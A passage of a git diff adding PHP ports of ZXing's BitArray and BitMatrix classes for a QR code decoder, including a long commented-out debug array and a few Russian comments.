all 0s + if (($this->bits[$i] & $mask) != ($value ? $mask : 0)) { + return false; + } + } + + return true; + } + + /** + * Appends the least-significant bits, from value, in order from most-significant to + * least-significant. For example, appending 6 bits from 0x000001E will append the bits + * 0, 1, 1, 1, 1, 0 in that order. + * + * @param value {@code int} containing bits to append + * @param numBits bits from value to append + */ + public function appendBits($value, $numBits) + { + if ($numBits < 0 || $numBits > 32) { + throw new \InvalidArgumentException("Num bits must be between 0 and 32"); + } + $this->ensureCapacity($this->size + $numBits); + for ($numBitsLeft = $numBits; $numBitsLeft > 0; $numBitsLeft--) { + $this->appendBit((($value >> ($numBitsLeft - 1)) & 0x01) == 1); + } + } + + private function ensureCapacity($size) + { + if ($size > count($this->bits) * 32) { + $newBits = $this->makeArray($size); + $newBits = arraycopy($this->bits, 0, $newBits, 0, count($this->bits)); + $this->bits = $newBits; + } + } + + public function appendBit($bit) + { + $this->ensureCapacity($this->size + 1); + if ($bit) { + $this->bits[(int)($this->size / 32)] |= 1 << ($this->size & 0x1F); + } + $this->size++; + } + + public function appendBitArray($other) + { + $otherSize = $other->size; + $this->ensureCapacity($this->size + $otherSize); + for ($i = 0; $i < $otherSize; $i++) { + $this->appendBit($other->get($i)); + } + } + + public function _xor($other) + { + if (count($this->bits) !== count($other->bits)) { + throw new \InvalidArgumentException("Sizes don't match"); + } + $count = count($this->bits); + for ($i = 0; $i < $count; $i++) { + // The last byte could be incomplete (i.e. not have 8 bits in + // it) but there is no problem since 0 XOR 0 == 0. + $this->bits[$i] ^= $other->bits[$i]; + } + } + + /** + * + * @param bitOffset first bit to start writing + * @param array array to write into. Bytes are written most-significant byte first. This is the opposite + * of the internal representation, which is exposed by {@link #getBitArray()} + * @param offset position in array to start writing + * @param numBytes how many bytes to write + */ + public function toBytes($bitOffset, &$array, $offset, $numBytes) + { + for ($i = 0; $i < $numBytes; $i++) { + $theByte = 0; + for ($j = 0; $j < 8; $j++) { + if ($this->get($bitOffset)) { + $theByte |= 1 << (7 - $j); + } + $bitOffset++; + } + $array[(int)($offset + $i)] = $theByte; + } + } + + /** + * @param $i ; bit to get + * + * @return true iff bit i is set + */ + public function get($i) + { + $key = (int)($i / 32); + + return ($this->bits[$key] & (1 << ($i & 0x1F))) != 0; + } + + /** + * @return array underlying array of ints. The first element holds the first 32 bits, and the least + * significant bit is bit 0. + */ + public function getBitArray() + { + return $this->bits; + } + + /** + * Reverses all bits in the array. + */ + public function reverse() + { + $newBits = []; + // reverse all int's first + $len = (($this->size - 1) / 32); + $oldBitsLen = $len + 1; + for ($i = 0; $i < $oldBitsLen; $i++) { + $x = $this->bits[$i];/* + $x = (($x >> 1) & 0x55555555L) | (($x & 0x55555555L) << 1); + $x = (($x >> 2) & 0x33333333L) | (($x & 0x33333333L) << 2); + $x = (($x >> 4) & 0x0f0f0f0fL) | (($x & 0x0f0f0f0fL) << 4); + $x = (($x >> 8) & 0x00ff00ffL) | (($x & 0x00ff00ffL) << 8); + $x = (($x >> 16) & 0x0000ffffL) | (($x & 0x0000ffffL) << 16);*/ + $x = (($x >> 1) & 0x55555555) | (($x & 0x55555555) << 1); + $x = (($x >> 2) & 0x33333333) | (($x & 0x33333333) << 2); + $x = (($x >> 4) & 0x0f0f0f0f) | (($x & 0x0f0f0f0f) << 4); + $x = (($x >> 8) & 0x00ff00ff) | (($x & 0x00ff00ff) << 8); + $x = (($x >> 16) & 0x0000ffff) | (($x & 0x0000ffff) << 16); + $newBits[(int)$len - $i] = (int)$x; + } + // now correct the int's if the bit size isn't a multiple of 32 + if ($this->size != $oldBitsLen * 32) { + $leftOffset = $oldBitsLen * 32 - $this->size; + $mask = 1; + for ($i = 0; $i < 31 - $leftOffset; $i++) { + $mask = ($mask << 1) | 1; + } + $currentInt = ($newBits[0] >> $leftOffset) & $mask; + for ($i = 1; $i < $oldBitsLen; $i++) { + $nextInt = $newBits[$i]; + $currentInt |= $nextInt << (32 - $leftOffset); + $newBits[(int)($i) - 1] = $currentInt; + $currentInt = ($nextInt >> $leftOffset) & $mask; + } + $newBits[(int)($oldBitsLen) - 1] = $currentInt; + } +// $bits = $newBits; + } + + public function equals($o) + { + if (!($o instanceof BitArray)) { + return false; + } + $other = $o; + + return $this->size == $other->size && $this->bits === $other->bits; + } + + public function hashCode() + { + return 31 * $this->size + hashCode($this->bits); + } + + public function toString() + { + $result = ''; + for ($i = 0; $i < $this->size; $i++) { + if (($i & 0x07) == 0) { + $result .= ' '; + } + $result .= ($this->get($i) ? 'X' : '.'); + } + + return (string)$result; + } + + public function _clone() + { + return new BitArray($this->bits, $this->size); + } +} diff --git a/includes/qrcodedecoder/Zxing/Common/BitMatrix.php b/includes/qrcodedecoder/Zxing/Common/BitMatrix.php new file mode 100644 index 0000000..dec4509 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/BitMatrix.php @@ -0,0 +1,458 @@ +width = $width; + $this->height = $height; + $this->rowSize = $rowSize; + $this->bits = $bits; + } + + public static function parse($stringRepresentation, $setString, $unsetString) + { + if (!$stringRepresentation) { + throw new \InvalidArgumentException(); + } + $bits = []; + $bitsPos = 0; + $rowStartPos = 0; + $rowLength = -1; + $nRows = 0; + $pos = 0; + while ($pos < strlen($stringRepresentation)) { + if ($stringRepresentation[$pos] == '\n' || + $stringRepresentation->{$pos} == '\r') { + if ($bitsPos > $rowStartPos) { + if ($rowLength == -1) { + $rowLength = $bitsPos - $rowStartPos; + } else if ($bitsPos - $rowStartPos != $rowLength) { + throw new \InvalidArgumentException("row lengths do not match"); + } + $rowStartPos = $bitsPos; + $nRows++; + } + $pos++; + } else if (substr($stringRepresentation, $pos, strlen($setString)) == $setString) { + $pos += strlen($setString); + $bits[$bitsPos] = true; + $bitsPos++; + } else if (substr($stringRepresentation, $pos + strlen($unsetString)) == $unsetString) { + $pos += strlen($unsetString); + $bits[$bitsPos] = false; + $bitsPos++; + } else { + throw new \InvalidArgumentException( + "illegal character encountered: " . substr($stringRepresentation, $pos)); + } + } + + // no EOL at end? + if ($bitsPos > $rowStartPos) { + if ($rowLength == -1) { + $rowLength = $bitsPos - $rowStartPos; + } else if ($bitsPos - $rowStartPos != $rowLength) { + throw new \InvalidArgumentException("row lengths do not match"); + } + $nRows++; + } + + $matrix = new BitMatrix($rowLength, $nRows); + for ($i = 0; $i < $bitsPos; $i++) { + if ($bits[$i]) { + $matrix->set($i % $rowLength, $i / $rowLength); + } + } + + return $matrix; + } + + /** + *

    Sets the given bit to true.

    + * + * @param $x ; The horizontal component (i.e. which column) + * @param $y ; The vertical component (i.e. which row) + */ + public function set($x, $y) + { + $offset = (int)($y * $this->rowSize + ($x / 32)); + if (!isset($this->bits[$offset])) { + $this->bits[$offset] = 0; + } + //$this->bits[$offset] = $this->bits[$offset]; + + // if($this->bits[$offset]>200748364){ + //$this->bits= array(0,0,-16777216,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,-16777216,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,-16777216,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,-16777216,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,-16777216,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,-16777216,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,-16777216,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,-16777216,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,-16777216,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,-16777216,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,-16777216,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,-1090519040,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,1056964608,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,-1358954496,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,117440512,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,50331648,-1,-1,-1,-1,65535,0,0,0,0,0,0,0,33554432,-1,-1,536870911,-4096,65279,0,0,0,0,0,0,0,0,-1,-1,65535,-4096,65535,0,0,0,0,0,0,0,0,-193,536870911,0,-4096,65279,0,0,0,0,0,0,0,0,-254,32767,0,-4096,61951,0,0,0,0,0,0,0,0,20913920,0,0,-4096,50175,0,0,0,0,0,0,0,0,0,0,0,-4096,60159,0,0,0,0,0,0,0,0,0,0,0,-4096,64255,0,0,0,0,0,0,0,0,0,0,0,-8192,56319,0,0,0,0,0,0,0,0,0,0,0,-4096,16777215,0,0,0,0,0,0,0,0,0,0,0,-4096,16777215,0,0,0,0,0,0,0,0,0,0,0,-4096,16777215,0,0,0,0,0,0,0,0,0,0,0,-4096,16777215,0,0,0,0,0,0,0,0,0,0,0,-4096,16777215,0,0,0,0,0,0,0,0,0,0,0,-4096,16777215,0,0,0,0,0,0,0,0,0,0,0,-4096,16777215,0,0,0,0,0,0,0,0,0,0,0,-4096,16777215,0,0,0,0,0,0,0,251658240,0,0,0,-4096,-1,255,0,256,0,0,0,0,117440512,0,0,0,-4096,-1,255,0,512,0,0,0,0,117440512,0,0,0,-4096,-1,255,0,1024,0,0,0,0,117440512,0,0,0,-4096,-1,223,0,256,0,0,0,0,117440512,0,0,33030144,-4096,-1,191,0,256,0,0,0,0,117440512,0,0,33554428,-4096,-1,255,0,768,0,0,0,0,117440512,0,402849792,67108862,-8192,-1,255,0,768,0,0,0,0,117440512,0,470278396,63045630,-8192,-1,255,0,256,0,0,0,0,251658240,-8388608,470278399,58720286,-8192,-1,2686975,0,3842,0,0,0,0,251658240,-131072,1007149567,58720286,-8192,-1,2031615,0,3879,0,0,0,0,251658240,536739840,1007092192,58720286,-8192,-1,851967,0,3840,0,0,0,0,251658240,917504,1007092192,58720284,-8192,-1,2031615,0,3968,0,0,0,0,251658240,917504,1007092160,59244060,-8192,-1,65535,0,7936,0,0,0,0,251658240,917504,1009779136,59244060,-8192,-1,9371647,0,1792,0,0,0,0,251658240,917504,946921920,59244060,-8192,-1,8585215,0,1792,0,0,0,0,117440512,-15859712,477159875,59244060,-8192,-1,65535,0,12032,0,0,0,0,251658240,-15859712,52490691,59244060,-8192,-1,-1,0,65408,0,0,0,0,251658240,-15859712,58778051,59244060,-8192,-1,-1,0,65473,0,0,0,0,251658240,-15859712,125886915,59244060,-8192,-1,-1,0,65472,0,0,0,0,251658240,-15859712,58778051,59244060,-8192,-1,-1,0,65408,0,0,0,0,251658240,-15859712,8380867,59244060,-8192,-1,-1,0,65473,0,0,0,0,251658240,-15859712,8380867,59244060,-8192,-1,-1,0,131011,0,0,0,0,251658240,-15859712,8380867,58720284,-8192,-1,-1,0,130947,0,0,0,0,251658240,-15859712,2089411,58720284,-8192,-1,-1,0,130947,0,0,0,0,251658240,-32636928,449,58720284,-8192,-1,-1,33554431,131015,0,0,0,0,251658240,786432,448,62914588,-8192,-1,-1,16777215,131015,0,0,0,0,251658240,786432,448,67108860,-8192,-1,-1,553648127,131015,0,0,0,0,251658240,786432,946864576,67108860,-8192,-1,-1,32505855,131015,0,0,0,0,251658240,786432,946921976,8388604,-8192,-1,-1,8191999,131015,0,0,0,0,251658240,-262144,946921983,248,-8192,-1,-1,8126463,196551,0,0,0,0,251658240,-262144,7397887,0,-8192,-1,-1,16777215,262087,0,0,0,0,251658240,-262144,8257543,0,-8192,-1,-1,-2121269249,262095,0,0,0,0,520093696,0,8257536,0,-8192,-1,-1,-201326593,262095,0,0,0,0,520290304,0,8257536,117963776,-8192,-1,-1,-201326593,262095,0,0,0,0,520093696,0,-2140143616,118488579,-8192,-1,-1,-201326593,131023,0,0,0,0,520093696,0,-2131697280,118488579,-8192,-1,-1,-503316481,131023,0,0,0,0,520093696,2145386496,-2131631232,118484995,-16384,-1,-1,-469762049,262095,0,0,0,0,520093696,2147221504,552649600,118481344,-16384,-1,-1,-469762049,131023,0,0,0,0,520290304,2147221504,2029002240,118481344,-16384,-1,-1,-469762049,262031,0,0,0,0,520290304,-266600448,2029001791,125952960,-16384,-1,-1,-469762049,262031,0,0,0,0,1057423360,-266600448,2027953215,133177312,-16384,-1,-1,-134217729,262111,0,0,0,0,1058471936,-266600448,-119531393,133177343,-16384,-1,-1,-134217729,262111,0,0,0,0,1058471936,-2145648640,-253754369,66068479,-16384,-1,-1,-134217729,262111,0,0,0,0,1058471936,236716032,-253754369,15729663,-16384,-1,-1,-134217729,262095,0,0,0,0,1057947648,236716032,-253754369,6348807,-16384,-1,-1,-134217729,262095,0,0,0,0,524222464,236716032,-253690305,6348803,-16384,-1,-1,-134217729,262111,0,0,0,0,521076736,2115764224,-253625344,14737411,-16384,-1,-1,-134217729,262095,0,0,0,0,522125312,2115764224,-253625344,14743555,-16384,-1,-1,-134217729,262111,0,0,16772608,0,1073676288,-31719424,-2014283776,14810115,-16384,-1,-1,-1,262143,0,0,16776704,0,1065287680,-1642594304,-1879178880,14810115,-16384,-1,-1,-1,524287,0,0,16776192,0,2139029504,264241152,-2013396089,14809091,-16384,-1,-1,-1,262095,0,0,16776192,0,2139029504,264241152,-2080636025,14803335,-16384,-1,-1,-1,262087,0,0,16776192,0,2147418112,264241152,-2132803581,14803847,-16384,-1,-1,-402653185,524259,0,0,8386048,0,2147418112,0,-2132688896,123783,-16384,-1,-1,1207959551,262112,0,0,16775168,0,2147418112,0,14794752,1046535,-16384,-1,-1,268435455,262128,0,0,16775168,0,2147418112,0,14712832,1047615,-16384,-1,-1,536870911,524284,0,0,16776705,0,2147418112,0,14680832,1047615,-16384,-1,-1,-1,524287,0,0,16776704,0,2147418112,-1048576,14681087,1046591,-32768,-1,-1,-1,524287,0,0,16776704,0,2147418112,-524288,-2132802561,2080831,-32768,-1,-1,-1,524287,0,0,16776705,0,2147418112,-524288,-31718401,2080831,-32768,-1,-1,-1,1048575,0,0,16776193,0,2147418112,3670016,-31718528,2080831,-32768,-1,-1,-1,524287,0,0,16776195,0,2147418112,3670016,-31718528,134086719,-32768,-1,-1,-1,524287,0,0,16776195,0,2147418112,3670016,253494144,268173368,-32768,-1,-1,-1,524287,0,0,16775171,0,2147418112,3670016,268174208,268173368,-32768,-1,-1,-1,1048575,0,0,16771072,0,2147418112,-63438848,268174223,31457328,-32768,-1,-1,-1,1048575,0,0,10418176,0,-65536,-63438848,133957519,14807040,-32768,-1,-1,-1,2097151,0,0,15923200,0,2147418112,-63438848,1968015,14809095,-32768,-1,-1,-1,1048575,0,0,12808192,0,2147418112,-63438848,2082703,12711943,-32768,-1,-1,-1,2097151,0,0,6420480,0,2147418112,-63438848,2082703,14343,-32768,-1,-1,-1,2097151,0,0,15202304,0,-65536,-63438848,2082703,1849351,-32768,-1,-1,-1,2097151,0,0,15464448,0,-65536,-63438848,264472335,1849351,-32768,-1,-1,-1,4194303,0,0,16371712,0,-65536,-63438848,264472335,14343,-32768,-1,-1,-1,8388607,0,0,0,0,-65536,-63438848,532907791,235010048,-32768,-1,-1,-1,16777215,0,0,0,0,-65536,-63438848,-1603833,235010160,-32768,-1,-1,-1,16777215,0,0,0,0,-65536,3670016,-30976,67238000,-32768,-1,-1,-1,16777215,0,0,0,0,-65536,3670016,-30976,48,-32768,-1,-1,-1,16777215,0,0,0,0,-65536,3670016,-29391104,768,-32768,-1,-1,-1,16777215,0,0,0,0,-65536,3670016,-29391104,768,-32768,-1,-1,-1,16777215,0,0,0,0,-65536,-524287,-65042433,768,-32768,-1,-1,-1,16777215,0,0,0,0,-65536,-524287,2082441215,0,-65536,-1,-1,-1,16777215,0,0,0,0,-13697024,-524287,511,0,-65536,-1,-1,-1,16777215,0,0,0,0,-12648448,1,0,0,-65536,-1,-1,-1,14680063,0,0,0,0,-12648448,1,0,0,-65536,-1,-1,-1,16777215,0,0,0,0,-65536,1,0,0,-65536,-1,-1,-1,14680063,0,0,0,0,-8454144,1,0,0,-65536,-1,-1,-1,12582911,0,0,0,0,-12648448,1,0,0,-65536,-1,-1,-1,2097151,0,0,0,0,-12648448,1,0,0,-65536,-1,-1,-1,1048575,0,0,0,0,-14745600,1,0,0,-65536,-1,-1,-1,3145727,0,0,0,0,1056964608,1,0,0,-65536,-1,-1,-1,1048575,0,0,0,0,1056964608,1,0,0,-65536,-1,-1,-1,1048575,0,0,0,0,1056964608,1,0,0,-65536,-1,-1,-1,524287,0,0,0,0,2130706432,1,0,0,-65536,-1,-1,-1,1048575,0,0,0,0,1056964608,1,0,0,-65536,-1,-1,-1,524287,0,0,0,0,2130706432,1,0,0,-65536,-1,-1,-1,524287,0,0,0,0,2130706432,1,0,0,-65536,-1,-1,-1,1048575,0,0,0,0,2130706432,1,0,0,-65536,-1,-1,-1,1048575,0,0,0,0,50331648,1,0,0,-65536,-1,-1,-1,1048575,0,0,0,0,117440512,1,0,-268435456,-1,-1,-1,-1,524287,0,0,0,0,251658240,1,0,-320,-1,-1,-1,-1,262143,0,0,0,0,520093696,1,-2048,-1,-1,-1,-1,-1,262143,0,0,0,0,1056964608,-16777213,-1,-1,-1,-1,-1,-1,131071,0,0,0,0,-16777216,-121,-1,-1,-1,-1,-1,-1,131071,0,0,0,0,-16777216,-1,-1,-1,-1,-1,-1,-1,131071,0,0,0,0,-16777216,-1,-1,-1,-1,-1,-1,-1,131071,0,0,0,0,-16777216,-1,-1,-1,-1,-1,-1,-1,131071,0,0,0,0,-16777216,-1,-1,-1,-1,-1,-1,-1,65535,0,0,0,0,-16777216,-1,-1,-1,-1,-1,-1,-1,65535,0,0,0,0,-16777216,-1,-1,-1,-1,-1,-1,-1,131071,0,0,0,0,-16777216,-1,-1,-1,-1,-1,-1,-1,262143,0,0,0,0,-16777216,-1,-1,-1,-1,-1,-1,-1,524287,0,0,0,0,-16777216,-1,-1,-1,-1,-1,-1,-1,524287,0,0,0,0,-16777216,-1,-1,-1,-1,-1,-1,-1,589823,0,0,0,0,0,-1,-1,-1,-1,-1,-1,-1,8179,0,0,0,0,50331648,-1,-1,-1,-1,-1,-1,-1,4080,0,0,0,0,117440512,-1,-1,-1,-1,-1,-1,-1,1016,0,0,0,0,251658240,-1,-1,-1,-1,-1,-1,1073741823,1020,0,0,0,0,50331648,-1,-1,-1,-1,-1,-1,536870911,254,0,0,0,0,50331648,-1,-1,-1,-1,-1,-1,536870911,255,0,0,0,0,50331648,-1,-1,-1,-1,-1,-1,-1879048193,127,0,0,0,0,50331648,-1,-1,-1,-1,-1,-1,-469762049,63,0,0,0,0,1191182336,-1,-1,-1,-1,1023999,0,-520093712,15,0,0,0,0,-218103808,-1,-1,-1,-1,0,-8454144,-260046849,7,0,0,0,0,0,-193,-1,-1,-1057947649,-2147483648,-1,-58720257,1,0,0,0,0,0,-251,-1,-1,-1057423361,-2074,-1,-1,0,0,0,0,0,0,-59648,-1,-1,-1,-1,-1,1073741823,0,0,0,0,0,0,-65536,-1,-1,-1,-1,-1,268435455,0,0,0,0,0,0,-65536,-1,-1,-1,-1,-1,67108863,0,0,0,0,0,0,-65536,-1,-1,-1,-1,-1,8388607,0,0,0,0,0,0,0,-403603456,-1,-1,-1,-1,262143,0,0,0,8388656,0,0,0,-1891434496,-1,-1,-1,-1,16383,0,0,0,8388608,0,0,0,-1612513280,-1,-1,-1,-1,63,0,0,0,0,0,0,0,-24320,-1,-1,-1,8388607,0,0,0,0,0,0,0,0,-256,-1,-1,1073741823,1,0,0,0,0,0,0,0,1610612736,-15,-1,-1,16383,0,0,0,0,0,0,0,0,-16646144,-1,-1,251658239,0,0,0,0,0,0,0,0,0,-51200,-1,-1,40959,0,0,0,0,0,0,268419584,103809024,-12713984,-1,-2147483137,4194303,0,0,0,0,0,0,0,402620416,-2144010240,-13631487,-32513,3,20480,0,0,0,0,0,0,0,419299328,0,-262144,-1,0,0,0,0,0,0,0,0,0,0,0,-5832704,268049407,0,0,0,0,0,0,0,0,0,0,0,0,33030144,0,0,0,0,0,0,0,0,0,0,0,0,3670016,0,0,0,0,0,0,0,0,0,0,0,0,1572864,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,458752,0,0,0,0,0,0,0,0,0,0,0,0,229376,0,0,0,0,0,0,0,0,0,0,0,0,32768,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8192,0,0,0,0,0,0,0,0,0,0,0,0,8192,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,31744,0,0,0,0,0,0,0,0,0,0,0,0,31744,0,0,0,0,0,0,0,0,0,0,0,0,64512,0,0,0,0,0,0,0,0,0,0,0,0,15872,0,0,0,0,0,0,0,0,0,0,0,0,3584,0,0,0,0,0,0,0,0,0,0,0,0,7680,0,0,0,0,0,0,0,0,0,0,0,0,512,0,0,0,0,0,0,0,0,0,0,0,0,3968,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3840,0,0,0,0,0,0,0,0,0,0,0,0,1855,0,0,0,0,0,0,0,0,0,0,0,0,63,0,0,0,0,0,0,0,0,0,0,0,0,15,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,134217728,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,0,0,0,0,0,0,0,0,0,0,124,0,0,0,0,0,0,0,0,0,0,0,-260046848,63,0,0,0,0,0,0,0,0,0,0,0,-17301504,127,0,0,0,0,0,0,0,0,0,0,0,-524288,127,0,0,0,0,0,0,0,0,0,0,0,-262144,127,0,0,0,0,0,0,0,0,0,0,0,-262144,63,0,0,0,0,0,0,0,0,0,0,0,-262144,63,0,0,0,0,0,0,0,0,0,0,0,-262144,63,0,0,0,0,0,0,0,0,0,0,0,-262144,31,0,0,0,0,0,0,0,0,0,0,0,-262144,63,0,0,0,0,3,0,0,0,0,0,0,-262144,63,0,0,0,0,7,0,0,0,0,0,0,-262144,63,0,0,0,0,63,0,0,0,0,0,0,-262144,63,0,0,0,0,511,0,0,0,0,0,0,-524288,31,0,0,0,0,8191,0,0,0,0,0,0,-1048576,63,0,0,0,0,131071,0,0,0,0,0,0,-524288,63,0,0,0,0,262143,0,0,0,0,0,0,-524288,63,0,0,0,0,131071,0,0,0,0,0,0,-1048576,63,0,0,0,0,262143,0,0,0,0,0,0,-1048576,63,0,0,0,0,262143,0,0,0,0,0,0,-1048576,63,0,0,0,0,262143,0,0,0,0,0,0,-1048576,63,0,0,0,0,262143,0,0,0,0,0,0,-2097152,127,0,0,0,0,262143,0,0,0,0,0,0,-2097152,127,0,0,0,0,262143,0,0,0,0,0,0,-1048576,127,0,0,0,0,262143,0,0,0,0,0,0,-1048576,127,0,0,0,0,262143,0,0,0,0,0,0,-2097152,255,0,0,0,0,262143,0,0,0,0,0,0,-2097152,255,0,0,0,0,262142,0,0,0,0,0,0,-2097152,255,0,0,0,0,262142,0,0,0,0,0,0,-2097152,255,0,0,0,0,262142,0,0,0,0,0,0,-2097152,255,0,0,0,0,262140,0,0,0,0,0,0,-2097152,255,0,0,0,0,131068,0,0,0,0,0,0,-4194304,255,0,0,0,0,131068,0,0,0,0,0,0,-4194304,255,0,0,0,0,65528,0,0,0,0,0,0,-8388608,255,0,0,0,0,65528,0,0,0,0,0,0,-8388608,255,0,0,0,0,65528,0,0,0,0,0,0,-8388608,255,0,0,0,0,32760,0,0,0,0,0,0,-8388608,255,0,0,0,0,32760,0,0,0,0,0,0,-16777216,255,0,0,-2147483648,255,16368,0,0,0,0,0,0,-16777216,255,0,0,-536870912,1023,16368,0,0,0,0,0,0,-33554432,255,0,0,-16777216,4095,16352,0,0,0,0,0,0,-33554432,255,0,0,-8388608,262143,16352,0,0,0,0,0,0,-33554432,255,0,0,-1048576,2097151,16352,0,0,0,0,0,0,-67108864,255,0,0,-524288,8388607,16352,0,0,0,0,0,0,-67108864,255,0,0,-262144,16777215,16320,0,0,0,0,0,0,-67108864,255,0,0,-131072,16777215,100679648,0,0,0,0,0,0,-67108864,255,0,0,-16384,16776959,125861824,0,0,0,0,0,0,-134217728,255,0,0,-4096,16773121,62930880,0,0,0,0,0,0,-134217728,127,0,0,2147482624,16252928,32704,0,0,0,0,0,0,-134217728,127,0,0,268435200,14680064,16320,0,0,0,0,0,0,-134217728,127,0,0,134217600,0,32704,0,0,0,0,0,0,-33554432,127,0,1056964608,67108736,0,32704,0,0,0,0,0,0,-33554432,127,0,2130706432,33554368,0,65408,0,0,0,0,0,0,-33554432,127,0,-16777216,8388576,0,32640,0,0,0,0,0,0,-134217728,127,0,-16777216,2097136,0,32640,0,0,0,0,0,0,-134217728,63,0,-16776960,1048573,0,32640,0,0,0,0,0,0,-536870912,63,0,-16776448,1048575,0,32640,0,0,0,0,0,0,-536870912,63,0,-33553664,6291455,66752,32640,0,0,0,0,0,0,-536870912,63,0,2013266688,2097148,229376,32640,0,0,0,0,0,0,-536870912,63,0,256,4194300,229376,32640,0,0,0,0,0,0,-536870912,63,0,0,524280,196608,32512,0,0,8,0,0,0,-1073741824,63,0,0,-200,15,65280,0,0,24,0,0,0,-1073741824,63,0,0,-1867768,127,32512,0,0,56,0,0,0,-1073741824,63,0,0,-1056768,4095,32512,0,0,124,0,0,0,-1073741824,63,0,0,-1050624,8191,32512,0,0,508,0,0,0,-2147483648,31,0,0,-7866368,8191,32512,0,0,1020,0,0,0,-2147483648,31,0,0,-33030656,8095,32512,0,0,2046,0,0,0,-2147483648,63,0,0,-66586624,771,32512,0,0,4094,0,0,0,0,63,0,0,-134184960,1,32256,0,0,8190,0,0,0,0,63,0,0,1610612736,0,32256,0,0,16382,0,0,0,-2147483648,63,0,0,0,0,15872,0,0,32767,0,0,0,-2147483648,31,0,0,0,0,15872,0,-2147483648,65535,0,0,0,-2147483648,31,0,0,0,0,7680,0,0,65535,0,0,0,-2147483648,31,0,0,134217728,0,7680,0,-2147483648,65535,0,0,0,-2147483648,31,0,0,0,0,7680,0,-2147483648,65535,0,0,0,-2147483648,31,0,0,0,0,7680,0,-1073741824,65535,0,0,0,-2147483648,31,0,0,0,0,3072,0,-1073741824,65535,0,0,0,-2147483648,31,0,0,0,0,3072,0,-1073741824,65535,0,0,0,-2147483648,31,0,0,0,0,0,0,-2147483648,65535,0,0,0,-2147483648,31,0,0,0,0,0,0,-1073741824,65535,0,0,0,0,31,0,0,0,0,0,0,-1073741824,65535,0,0,0,0,31,0,0,0,0,0,0,-2147483648,65535,0,0,0,0,30,0,0,0,0,0,0,-1073741824,65535,0,0,0,0,30,0,0,0,0,0,0,-2147483648,65535,0,0,0,0,30,0,0,0,0,0,0,0,65535,0,0,0,0,28,0,0,0,0,0,0,0,65535,0,0,0,0,28,0,0,0,0,0,0,0,65535,0,0,0,0,28,0,0,0,0,0,0,0,65535,0,0,0,0,24,0,0,0,0,0,0,-2147483648,65535,0,0,0,0,0,0,0,0,0,0,0,-536870912,65535);//[$offset] |= intval32bits(1 << ($x & 0x1f)); + $bob = $this->bits[$offset]; + $bob |= 1 << ($x & 0x1f); + $this->bits[$offset] |= ($bob); + //$this->bits[$offset] = intval32bits($this->bits[$offset]); + + //} +//16777216 + } + + public function _unset($x, $y) + {//было unset, php не позволяет использовать unset + $offset = (int)($y * $this->rowSize + ($x / 32)); + $this->bits[$offset] &= ~(1 << ($x & 0x1f)); + } + + /**1 << (249 & 0x1f) + *

    Flips the given bit.

    + * + * @param $x ; The horizontal component (i.e. which column) + * @param $y ; The vertical component (i.e. which row) + */ + public function flip($x, $y) + { + $offset = $y * $this->rowSize + (int)($x / 32); + + $this->bits[$offset] = ($this->bits[$offset] ^ (1 << ($x & 0x1f))); + } + + /** + * Exclusive-or (XOR): Flip the bit in this {@code BitMatrix} if the corresponding + * mask bit is set. + * + * @param $mask ; XOR mask + */ + public function _xor($mask) + {//было xor, php не позволяет использовать xor + if ($this->width != $mask->getWidth() || $this->height != $mask->getHeight() + || $this->rowSize != $mask->getRowSize()) { + throw new \InvalidArgumentException("input matrix dimensions do not match"); + } + $rowArray = new BitArray($this->width / 32 + 1); + for ($y = 0; $y < $this->height; $y++) { + $offset = $y * $this->rowSize; + $row = $mask->getRow($y, $rowArray)->getBitArray(); + for ($x = 0; $x < $this->rowSize; $x++) { + $this->bits[$offset + $x] ^= $row[$x]; + } + } + } + + /** + * Clears all bits (sets to false). + */ + public function clear() + { + $max = count($this->bits); + for ($i = 0; $i < $max; $i++) { + $this->bits[$i] = 0; + } + } + + /** + *

    Sets a square region of the bit matrix to true.

    + * + * @param $left ; The horizontal position to begin at (inclusive) + * @param $top ; The vertical position to begin at (inclusive) + * @param $width ; The width of the region + * @param $height ; The height of the region + */ + public function setRegion($left, $top, $width, $height) + { + if ($top < 0 || $left < 0) { + throw new \InvalidArgumentException("Left and top must be nonnegative"); + } + if ($height < 1 || $width < 1) { + throw new \InvalidArgumentException("Height and width must be at least 1"); + } + $right = $left + $width; + $bottom = $top + $height; + if ($bottom > $this->height || $right > $this->width) { //> this.height || right > this.width + throw new \InvalidArgumentException("The region must fit inside the matrix"); + } + for ($y = $top; $y < $bottom; $y++) { + $offset = $y * $this->rowSize; + for ($x = $left; $x < $right; $x++) { + $this->bits[$offset + (int)($x / 32)] = ($this->bits[$offset + (int)($x / 32)] |= 1 << ($x & 0x1f)); + } + } + } + + /** + * 